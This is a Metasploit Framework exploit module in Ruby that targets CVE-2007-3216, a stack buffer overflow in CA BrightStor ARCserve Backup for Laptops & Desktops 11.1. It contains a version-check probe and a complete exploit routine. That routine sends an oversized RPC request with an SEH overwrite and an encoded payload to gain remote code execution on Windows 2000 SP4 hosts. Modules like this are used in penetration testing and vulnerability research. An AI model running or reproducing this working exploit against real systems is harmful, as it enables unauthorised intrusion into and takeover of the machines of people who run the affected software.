##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

	Rank = AverageRanking

	include Msf::Exploit::Remote::Tcp
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'CA BrightStor ARCserve for Laptops & Desktops LGServer Multiple Commands Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in Computer Associates BrightStor ARCserve Backup
				for Laptops & Desktops 11.1. By sending a specially crafted request to multiple commands,
				an attacker could overflow the buffer and execute arbitrary code.
			},
			'Author'         => [ 'MC' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision$',
			'References'     =>
				[
					[ 'CVE', '2007-3216' ],
					[ 'OSVDB', '35329' ],
					[ 'BID', '24348' ],
				],
			'Privileged'     => true,
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'    => 400,
					'BadChars' => "\x00",
					'StackAdjustment' => -3500,
				},
			'Platform' => 'win',
			'Targets'  =>
				[
					[ 'Windows 2000 SP4 English',	{ 'Ret' => 0x75022ac4 } ],
				],
			'DisclosureDate' => 'Jun 6 2007',
			'DefaultTarget' => 0))

		register_options([ Opt::RPORT(1900) ], self.class)
	end

	def check

		connect

		sock.put("0000000019rxrGetServerVersion")
		ver = sock.get_once

		disconnect

		if ( ver =~ /11.1.742/ )
				return Exploit::CheckCode::Vulnerable
		end

		return Exploit::CheckCode::Safe

	end

	def exploit

		connect

		rpc_commands = [
				"rxsAddNewUser",
				"rxsSetUserInfo",
				"rxsRenameUser",
				"rxsExportData",
				"rxcReadSaveSetProfile",
				"rxcInitSaveSetProfile",
				"rxcAddSaveSetNextAppList",
				"rxcAddSaveSetNextFilesPathList"
			]

		rpc_command = rpc_commands[rand(rpc_commands.length)]

		data = rand_text_alpha_upper(62768)

		data[58468,8] = generate_seh_record(target.ret)
		data[58476,payload.encoded.length] = payload.encoded

		sploit  = "0000062768"				# Command Length Field
		sploit << rpc_command				# RPC Command
		sploit << "~~"					# Constant Argument Delimiter
		sploit << data

		print_status("Trying target #{target.name} with command '#{rpc_command}'...")
		sock.put(sploit)

		handler
		disconnect

	end

end